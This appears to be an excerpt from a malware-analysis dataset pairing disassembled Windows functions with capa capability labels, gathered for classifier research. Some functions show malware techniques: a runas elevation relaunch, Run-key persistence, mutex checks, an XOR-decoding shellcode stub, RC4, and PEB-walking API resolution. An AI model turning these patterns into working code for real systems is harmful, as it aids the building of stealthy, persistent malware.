joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401200
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x244
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x40]
mov dword [0x414898], ecx
call fcn.004011c0
test al, al
je 0x4012db
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x145]
mov byte [esp + 0x144], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [0x414898]
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push esi
lea edx, [esp + 0x14c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xe
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0x3c
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
lea eax, [esp + 0x14c]
push ecx
mov dword [esp + 0x1c], str.runas
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop esi
pop ebp
test eax, eax
je 0x4012db
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop edi
add esp, 0x244
ret

Function at 0x4012f0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Persist via run registry key
Terminate process

Disassembly:
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
cmp eax, 1
je 0x401302
call fcn.00401200
jmp 0x401307
call fcn.004013a0
push str.Microsoft
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00401150
add esp, 0xc
test al, al
jne 0x40134b
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call fcn.00401cdd
add esp, 8
cmp eax, 0xffffffff
je 0x40134b
push 0
push 0
push 0
push 0x401130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x4148a0
push 0
call fcn.004016a4
add esp, 8
call fcn.00401080
push str.dfgsdfgsdfgadsfwerzsdf123123
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401382
push 0
call fcn.004015cf
push str.pause
call fcn.0040150c
add esp, 4
xor eax, eax
ret

Function at 0x401cdd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401cfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004041d8
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x401d1e
test byte [esp + 8], 2
je 0x401d1e
mov dword [0x4148a4], 0xd
mov dword [0x4148a8], 5
jmp 0x401cf9
xor eax, eax
ret
Function at 0xdf1e6c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdf1e76
pushal
call 0xdf1e7c
pop ebp
sub ebp, 0x10
sub ebp, 0x9f1e6c
jmp 0xdf1e92
mov eax, 0x9f1e6c
add eax, ebp
add eax, 0x4c
mov ecx, 0x595
mov edx, 0x1a631f13
xor byte [eax], dl
inc eax
dec ecx
jne 0xdf1ea9
jmp 0xdf1ebc
add byte [eax], al
add byte [0x98ccb249], ah
cwde
ficomp word [eax + 0x13132f9a]
adc edx, dword [edx + 0x1313ebd2]
adc edx, dword [eax]
fisubr word [ebx + 0x13131315]
test eax, 0x1313133b
in al, 0xf1
adc bl, bl
cwde
lcall 0xd292, 0x1313132f
jmp 0xdf1edb
xchg edx, eax
pop ds
adc edx, dword [ebx]
adc edx, dword [eax]
salc
inc ebx
inc ebx
jnp 0xdf1eb5
adc dword [ecx], esi
adc edi, dword [ebx - 0x7d]
or byte [esi + 0x13], ch
adc bh, byte [edi]
aaa
jnp 0xdf1f3a
mov eax, 0x16fbe4ad
adc edx, dword [ebx]
adc edi, edx
cmp eax, 0x46131313
cwde
call [eax + 0x13131b96]
adc edx, dword [ebx]
adc ebx, dword [eax + 0x13131f86]
adc ebx, dword [eax + 0x1313039e]
adc edx, edx
cli
adc dword [edx], esp
adc dword [eax + 0x1c5a17d1], edx
xchg esi, eax
out 0xec, eax
in al, dx
in al, dx
cwde
aas
aaa
sahf
ja 0xdf1f61
pop ss
rcr dword [edi], 1
adc ebx, dword [eax + 0x1317379f]
adc edx, dword [ebx]
jnp 0xdf1f06
adc dword [ecx], esi
adc edi, dword [ebx - 0x7d]
jnp 0xdf1ebf
or byte [esi + 0x13], ch
adc bh, byte [edi]
aaa
inc edx
sti
push ss
adc edx, dword [ebx]
adc edi, edx
push edx
adc dword [ebx], edx
adc ebx, dword [esi - 0x6510c889]
aas
aaa
sahf
jg 0xdf1f8e
adc ebp, esp
pop ds
in al, dx
sbb di, bx
jg 0xdf1f74
adc edx, dword [ebx]
cwde
scasb al, byte es:[edi]
sbb edx, dword [ebx]
adc edx, dword [ebx]
and dl, bl
and cl, al
nop
sti
push ss
pop ebx
sbb al, 0x97
pop ebp
adc edx, dword [ebx]
adc ebx, dword [ebx + ebx*4]
pop ebx
adc edx, dword [ebx]
adc esi, dword [ebp - 0x68]
cvtpi2ps xmm2, qword [ebx - 0x68e30418]
or dword [ebx], edx
adc edx, dword [ebx]
xchg ebx, eax
call 0x3763c8a
adc edx, dword [ebx]
adc esi, dword [ebp - 0x6e]
xchg edi, eax
add dl, byte [ebx]
adc edx, dword [ebx]
jne 0xdf1f27
call 0x97fb5686
push es
adc edx, dword [ebx]
adc edx, dword [edx - 6]
fucompi st(4)
in al, dx
in al, dx
cmp bl, byte [edi + 0x2a]
adc dl, byte [eax - 0x46fe92e]
pop ss
cli
scasb al, byte es:[edi]
in al, dx
in al, dx
in al, dx
cmp al, byte [edi + 0x2a]
adc dword [eax - 0x66fea2e], edx
pop ss
nop
sti
push ss
cli
mov eax, 0x98ececec
aas
aaa
sahf
ja 0xdf2002
pop ss
rcr dword [edi], 1
adc eax, dword [esi - 0x68]
inc dword [ebp + 0x44]
inc esi
cwde
pop ds
cwde
outsb dx, byte [esi]
sbb ebp, edi
mov eax, dword [0x92159993]
aad 0x12
adc edx, dword [ebx]
adc ebx, dword [ebx + 0x12d49214]
adc edx, dword [ebx]
adc ebp, dword [eax + 0x13131311]
adc ecx, eax
sbb al, 0x96
push ss
adc edx, dword [ebx]
adc ebx, dword [ecx - 0x3efeaafb]
sbb al, 0x90
retf
Function at 0x43f3f1
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push dword [0x62e1b0]
call fcn.0046384b
mov ebp, eax
or ebx, 0xffffffff
xor eax, eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
movzx edx, word [eax]
test dx, dx
je 0x43f4f1
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x14], 0x22
cmp dx, word [esp + 0x10]
jne 0x43f447
push 0x20
pop edx
add eax, 2
cmp word [eax], dx
je 0x43f43f
movzx edx, word [eax]
mov dword [esp + 0x1c], 1
cmp dx, word [esp + 0x14]
jne 0x43f487
add eax, 2
mov esi, eax
movzx ecx, word [eax]
test cx, cx
je 0x43f4c9
push 0x22
pop edx
cmp cx, dx
je 0x43f479
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x43f469
xor ecx, ecx
cmp word [eax], cx
je 0x43f4c9
mov ecx, eax
add eax, 2
jmp 0x43f4cb
test dx, dx
je 0x43f4d1
push 0x20
mov esi, eax
pop ecx
cmp dx, cx
je 0x43f479
add eax, 2
push 0x22
pop edx
cmp word [eax], dx
jne 0x43f4bf
add eax, 2
movzx ecx, word [eax]
test cx, cx
je 0x43f4c9
cmp cx, dx
je 0x43f4bc
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x43f4ac
push 0x20
pop ecx
movzx edx, word [eax]
test dx, dx
jne 0x43f491
jmp 0x43f479
mov ecx, eax
mov edx, dword [esp + 0x1c]
jmp 0x43f4d3
xor edx, edx
cmp dword [ebp], ebx
jne 0x43f4dc
test edi, edi
jne 0x43f4f9
test edx, edx
je 0x43f4e1
inc ebx
xor edx, edx
mov esi, edx
movzx edx, word [eax]
test dx, dx
jne 0x43f435
test edi, edi
jne 0x43f50a
mov eax, ebx
jmp 0x43f50e
test esi, esi
je 0x43f50a
sub ecx, esi
mov eax, esi
sar ecx, 1
mov dword [edi], ecx
inc dword [ebp]
jmp 0x43f50e
xor ecx, ecx
mov dword [edi], ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x441690
Capabilities:
Get thread local storage value

Disassembly:
cmp dword [0x62cc20], 0
jne 0x44169e
call fcn.00441630
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
push edi
push dword [0x62cc24]
call esi
test eax, eax
jne 0x4416c1
call fcn.00441630
push dword [0x62cc24]
call esi
mov edx, dword [esp + 0x14]
lea esi, [eax + 8]
mov edi, 0x11
lea ecx, [ecx]
imul ecx, edx, 0x53a9b4fb
lea esi, [esi + 4]
mov edx, 1
sub edx, ecx
imul ecx, edx, 0x53a9b4fb
mov dword [esi + 0x40], edx
mov edx, 1
sub edx, ecx
mov dword [esi - 4], edx
dec edi
jne 0x4416d0
mov dword [eax], edi
lea ebp, [edi + 0x1f]
mov dword [eax + 4], 0xa
mov ebx, dword [eax]
mov edi, dword [eax + 4]
mov edx, dword [eax + ebx*4 + 8]
mov ecx, dword [eax + ebx*4 + 0x4c]
mov esi, dword [eax + edi*4 + 8]
ror ecx, 0xd
add ecx, dword [eax + edi*4 + 0x4c]
dec edi
ror edx, 5
add edx, esi
mov dword [eax + ebx*4 + 8], ecx
mov dword [eax + ebx*4 + 0x4c], edx
dec ebx
jns 0x441730
mov ebx, 0x10
test edi, edi
jns 0x441739
mov edi, 0x10
mov dword [eax], ebx
mov dword [eax + 4], edi
dec ebp
jne 0x441702
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4491ee
Capabilities:
Check os version

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
push edi
push dword [0x62e1f8]
call fcn.0046384b
xor ebp, ebp
mov esi, eax
cmp dword [0x62d530], ebp
jne 0x4492ca
xor ebx, ebx
inc ebx
mov dword [0x62d530], ebx
call fcn.00449e8a
mov edi, 0xa4
push edi
push ebp
push 0x62d538
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [0x62d538], 0x13
lea eax, [esp + 0x10]
mov dword [0x62d53c], edi
mov dword [0x62d548], 0x449139
mov dword [0x62d54c], 0x449484
push eax
mov dword [0x62d5a0], 0x449114
mov dword [0x62d5a4], 0x4493cf
mov dword [0x62d544], 0x4490ef
mov dword [0x62d5c8], 0x449154
mov dword [0x62d5dc], ebx
mov dword [esp + 0x14], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4492ca
cmp dword [esp + 0x20], ebx
je 0x4492b2
cmp dword [esp + 0x20], 2
jne 0x4492ca
cmp dword [esp + 0x14], 5
jae 0x4492ba
mov dword [0x62d5dc], ebp
jmp 0x4492ca
jne 0x4492ca
mov eax, dword [esp + 0x18]
neg eax
sbb eax, eax
and dword [0x62d5dc], eax
lea eax, [esp + 0x138]
push eax
lea eax, [esp + 0x138]
push eax
lea eax, [esp + 0x138]
push eax
lea eax, [esp + 0x138]
push eax
call fcn.0044f910
mov eax, dword [esp + 0x140]
push ebp
push dword [0x62c3a8]
or eax, 0x50010000
push 0xffffffffffffffff
push dword [esi]
push dword [esp + 0x148]
push dword [esp + 0x148]
push dword [esp + 0x148]
push dword [esp + 0x148]
push eax
push ebp
push str.BUTTON
push ebp
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov ebx, eax
test ebx, ebx
je 0x4493a0
push dword [esp + 0x128]
push dword [0x62de3c]
call fcn.00463b36
mov edi, dword [esp + 0x13c]
mov esi, eax
mov dword [esi + 0x10], edi
test edi, edi
je 0x44936f
push edi
call fcn.0045c2ca
test eax, eax
je 0x44936f
push ebp
push ebp
push edi
call fcn.0045bf14
mov dword [esi + 0x18], eax
jmp 0x449372
mov dword [esi + 0x18], ebp
push 0x448e3e
push 0xfffffffffffffffc
push ebx
mov dword [esi + 0x14], ebp
mov dword [esi + 0x1c], ebp
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x62d538
push ebx
push esi
push dword [esp + 0x134]
mov dword [0x62d534], eax
call fcn.00449c07
mov ebx, eax
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x114
ret 0x1c
Function at 0x44cc11
Capabilities:
Check if file exists

Disassembly:
xor eax, eax
push ebp
mov ebp, eax
mov eax, dword [0x62d630]
push esi
test eax, eax
jne 0x44cc22
push fcn.0044cd2a
push 0x10
push 0x258
call fcn.00463bca
mov dword [0x62d630], eax
push dword [esp + 0xc]
push eax
call fcn.00463b36
mov esi, eax
test esi, esi
je 0x44cd23
push edi
mov edi, dword [esp + 0x14]
test edi, edi
jne 0x44cc44
mov edi, 0x49e0cc
push ebx
mov ebx, dword [esp + 0x1c]
test ebx, ebx
je 0x44cc54
xor eax, eax
cmp word [ebx], ax
jne 0x44cc59
mov ebx, 0x4b28e4
push edi
call sub.MSVCRT.dll_wcslen
push ebx
mov dword [esp + 0x24], eax
call sub.MSVCRT.dll_wcslen
add eax, dword [esp + 0x24]
pop ecx
pop ecx
lea eax, [eax*2 + 4]
push eax
xor eax, eax
push eax
push dword [0x62c3a4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
test eax, eax
je 0x44cd0a
push edi
push eax
call sub.MSVCRT.dll_wcscpy
mov eax, dword [esp + 0x24]
pop ecx
pop ecx
test eax, eax
je 0x44ccba
cmp word [edi + eax*2 - 2], 0x5c
mov edi, dword [esp + 0x18]
je 0x44ccbe
push 0x4b28b0
push edi
call sub.MSVCRT.dll_wcscat
pop ecx
pop ecx
jmp 0x44ccbe
mov edi, dword [esp + 0x18]
push ebx
push edi
call sub.MSVCRT.dll_wcscat
pop ecx
pop ecx
lea eax, [esi + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x44cce2
xor eax, eax
mov ebp, esi
mov dword [esi + 4], eax
jmp 0x44ccf8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x44ccf6
mov dword [esi + 4], 1
mov ebp, esi
xor eax, eax
push edi
push eax
push dword [0x62c3a4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebp, ebp
jne 0x44cd21
cmp dword [esp + 0x14], 0xffffffff
je 0x44cd15
mov esi, dword [esp + 0x14]
push esi
push dword [0x62d630]
call fcn.00463aa8
pop ebx
pop edi
pop esi
mov eax, ebp
pop ebp
ret 0xc
Function at 0x44e5d0
Capabilities:
Read file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0xc]
mov dword [esp + 4], 0
cmp dword [edi + 4], 0
je 0x44e5f7
push 1
lea eax, [esp + 0x10]
push eax
push edi
call fcn.0044df90
mov dword [esp + 4], eax
jmp 0x44e611
push 0
lea eax, [esp + 8]
push eax
push 1
lea eax, [esp + 0x18]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 4]
cmp eax, 1
je 0x44e61d
xor eax, eax
pop edi
pop ecx
ret 8
mov cl, byte [esp + 0xc]
test cl, cl
js 0x44e639
mov eax, dword [esp + 0x10]
pop edi
mov byte [eax], cl
mov byte [eax + 1], 0
mov eax, 1
pop ecx
ret 8
mov al, cl
and al, 0xe0
push esi
cmp al, 0xc0
jne 0x44e649
mov esi, 2
jmp 0x44e665
mov al, cl
and al, 0xf0
cmp al, 0xe0
jne 0x44e658
mov esi, 3
jmp 0x44e665
mov al, cl
and al, 0xf8
cmp al, 0xf0
jne 0x44e6c2
mov esi, 4
mov edx, dword [esp + 0x14]
mov byte [edx], cl
cmp dword [edi + 4], 0
je 0x44e694
lea eax, [esi - 1]
push eax
lea eax, [edx + 1]
push eax
push edi
call fcn.0044df90
mov edx, eax
lea ecx, [esi - 1]
xor eax, eax
cmp edx, ecx
setne al
dec eax
and eax, esi
pop esi
pop edi
pop ecx
ret 8
push 0
lea eax, [esp + 0xc]
push eax
lea eax, [esi - 1]
push eax
lea eax, [edx + 1]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 8]
lea ecx, [esi - 1]
xor eax, eax
cmp edx, ecx
setne al
dec eax
and eax, esi
pop esi
pop edi
pop ecx
ret 8
mov eax, dword [esp + 0x14]
pop esi
pop edi
mov word [eax], 0x3f
mov eax, 1
pop ecx
ret 8

Function at 0x45016e
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x451319
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [0x62e264]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
mov eax, dword [ebp + 0x18]
cmp eax, dword [esi + 0xac]
je 0x451341
push eax
push esi
mov dword [esi + 0xac], eax
call dword [esi + 0x40]
push dword [ebp + 0x14]
mov eax, dword [esi + 0x90]
push dword [ebp + 0x10]
add eax, dword [ebp + 0xc]
push eax
mov eax, dword [esi + 0x8c]
add eax, dword [ebp + 8]
push eax
push esi
call dword [esi + 4]
pop esi
pop ebp
ret 0x14

Function at 0x451a11
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [0x62e264]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
mov eax, dword [ebp + 0x14]
cmp eax, dword [esi + 0xac]
je 0x451a39
push eax
push esi
mov dword [esi + 0xac], eax
call dword [esi + 0x40]
mov eax, dword [ebp + 0x18]
cmp eax, dword [esi + 0xb0]
je 0x451a4e
push eax
push esi
mov dword [esi + 0xb0], eax
call dword [esi]
push dword [ebp + 0x10]
mov eax, dword [esi + 0x90]
add eax, dword [ebp + 0xc]
push eax
mov eax, dword [esi + 0x8c]
add eax, dword [ebp + 8]
push eax
push esi
call dword [esi + 0x30]
pop esi
pop ebp
ret 0x14
Function at 0x451a6e
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [0x62e264]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edx, eax
mov eax, dword [edx + 0x2c]
test eax, eax
je 0x451aa7
mov ecx, dword [edx + 0x90]
add ecx, dword [ebp + 0x10]
push 0xff
push ecx
mov ecx, dword [edx + 0x8c]
add ecx, dword [ebp + 0xc]
push ecx
push dword [ebp + 8]
push edx
call eax
jmp 0x451ac2
mov eax, dword [edx + 0x90]
add eax, dword [ebp + 0x10]
push eax
mov eax, dword [edx + 0x8c]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
push edx
call dword [edx + 0x24]
pop ebp
ret 0xc

Function at 0x451c46
Capabilities:
Set thread local storage value

Disassembly:
push esi
push 0x184
push 8
push dword [0x62c3a4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push esi
push dword [0x62e264]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push dword [esp + 8]
mov dword [0x62e268], esi
and dword [esi + 0xa8], 0
or dword [esi + 0xac], 0xffffffff
or dword [esi + 0xb0], 0xffffffff
push esi
mov dword [esi + 0xa4], 0xffffff
mov dword [esi + 0x74], 2
mov dword [esi + 0x78], 0x3f
call fcn.00454842
mov dword [esi + 0x58], 0x452859
mov eax, esi
mov dword [esi + 0x5c], 0x4528a5
mov dword [esi + 0x10], fcn.004523fa
mov dword [esi + 0x30], 0x4522ec
mov dword [esi + 0x64], 0x45292f
mov dword [esi + 0x60], 0x4528e7
mov dword [esi + 0x34], 0x451f9c
mov dword [esi + 0x24], 0x451f73
mov dword [esi + 0x28], 0x451f48
mov dword [esi + 0x2c], 0x451e9a
mov dword [esi + 0x44], 0x45265f
pop esi
ret 4
Function at 0x401000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x4010a8
sub edx, edi
push ebx
mov dword [ebp - 4], edx
mov dword [ebp + 8], ecx
push esi
lea ebx, [ebx]
mov ecx, dword [eax + 0x104]
inc ecx
and ecx, 0x800000ff
jns 0x401037
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [eax + 0x104], ecx
movzx esi, byte [ecx + eax]
add esi, dword [eax + 0x108]
and esi, 0x800000ff
jns 0x401057
dec esi
or esi, 0xffffff00
inc esi
mov dword [eax + 0x108], esi
mov dl, byte [ecx + eax]
mov bl, byte [esi + eax]
mov byte [ecx + eax], bl
mov byte [esi + eax], dl
mov ecx, dword [eax + 0x108]
movzx edx, byte [ecx + eax]
mov ecx, dword [eax + 0x104]
movzx ecx, byte [ecx + eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40108f
dec edx
or edx, 0xffffff00
inc edx
movzx edx, byte [edx + eax]
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + edi]
inc edi
dec dword [ebp + 8]
mov byte [edi - 1], dl
jne 0x401020
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x4010e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
xor edi, edi
mov dword [ecx + 0x100], eax
mov dword [ecx + 0x104], edi
mov dword [ecx + 0x108], edi
xor eax, eax
mov edi, edi
mov byte [eax + ecx], al
inc eax
cmp eax, 0x100
jl 0x401100
mov eax, 1
sub eax, ecx
mov dword [ebp - 0xc], eax
mov eax, 2
sub eax, ecx
mov dword [ebp - 0x10], eax
mov eax, 3
sub eax, ecx
mov dword [ebp - 8], edi
mov esi, ecx
mov dword [ebp - 0x14], eax
mov edi, edi
movzx edx, byte [esi]
mov eax, dword [ebp - 8]
mov byte [ebp - 1], dl
cdq
idiv dword [ecx + 0x100]
movzx eax, byte [edx + ebx]
movzx edx, byte [ebp - 1]
add edi, eax
add edi, edx
and edi, 0x800000ff
jns 0x40115c
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
movzx edx, byte [ebp - 1]
mov byte [esi], al
mov byte [edi + ecx], dl
movzx eax, byte [esi + 1]
mov byte [ebp - 1], al
mov eax, dword [ebp - 0xc]
lea eax, [eax + esi]
cdq
idiv dword [ecx + 0x100]
movzx eax, byte [edx + ebx]
movzx edx, byte [ebp - 1]
add edi, eax
add edi, edx
and edi, 0x800000ff
jns 0x401199
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
movzx edx, byte [ebp - 1]
mov byte [esi + 1], al
mov byte [edi + ecx], dl
movzx eax, byte [esi + 2]
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x10]
lea eax, [eax + esi]
cdq
idiv dword [ecx + 0x100]
movzx eax, byte [edx + ebx]
movzx edx, byte [ebp - 1]
add edi, eax
add edi, edx
and edi, 0x800000ff
jns 0x4011d7
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
movzx edx, byte [ebp - 1]
mov byte [esi + 2], al
mov byte [edi + ecx], dl
movzx eax, byte [esi + 3]
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x14]
lea eax, [eax + esi]
cdq
idiv dword [ecx + 0x100]
movzx eax, byte [edx + ebx]
movzx edx, byte [ebp - 1]
add edi, eax
add edi, edx
and edi, 0x800000ff
jns 0x401215
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
movzx edx, byte [ebp - 1]
mov byte [esi + 3], al
mov eax, dword [ebp - 8]
add eax, 4
add esi, 4
mov byte [edi + ecx], dl
mov dword [ebp - 8], eax
cmp eax, 0x100
jl 0x401130
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401ae0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
cmp eax, ecx
je 0x401b16
mov edx, 0x320033
movzx esi, word [eax + 0x14]
mov edi, dword [eax + 0x18]
cmp dword [edi + esi - 0xc], edx
je 0x401b1e
mov eax, dword [eax]
cmp eax, ecx
jne 0x401b03
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401b30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [edx + 0x3c]
sub esp, 8
cmp dword [eax + edx + 0x7c], 0
jne 0x401b46
xor eax, eax
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + edx + 0x78]
test ecx, ecx
je 0x401b40
mov eax, dword [ecx + edx + 0x24]
push ebx
mov ebx, dword [ecx + edx + 0x18]
push esi
mov esi, dword [ecx + edx + 0x1c]
add esi, edx
push edi
mov edi, dword [ecx + edx + 0x20]
mov dword [ebp - 8], esi
xor esi, esi
add edi, edx
add eax, edx
mov dword [ebp - 4], esi
dec ebx
mov ecx, dword [edi + esi*4]
add ecx, edx
cmp byte [ecx], 0x47
jne 0x401bc8
cmp byte [ecx + 1], 0x65
jne 0x401bc8
cmp byte [ecx + 2], 0x74
jne 0x401bc8
cmp byte [ecx + 3], 0x50
jne 0x401bc8
cmp byte [ecx + 4], 0x72
jne 0x401bc8
cmp byte [ecx + 5], 0x6f
jne 0x401bc8
cmp byte [ecx + 6], 0x63
jne 0x401bc8
cmp byte [ecx + 7], 0x41
jne 0x401bc8
cmp byte [ecx + 8], 0x64
jne 0x401bc8
cmp byte [ecx + 9], 0x64
jne 0x401bc8
cmp byte [ecx + 0xa], 0x72
jne 0x401bc8
cmp byte [ecx + 0xb], 0x65
jne 0x401bc8
cmp byte [ecx + 0xc], 0x73
jne 0x401bc8
cmp byte [ecx + 0xd], 0x73
je 0x401bd7
inc esi
cmp esi, ebx
jbe 0x401b70
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [eax + esi*2]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
pop edi
pop esi
add eax, edx
pop ebx
mov esp, ebp
pop ebp
ret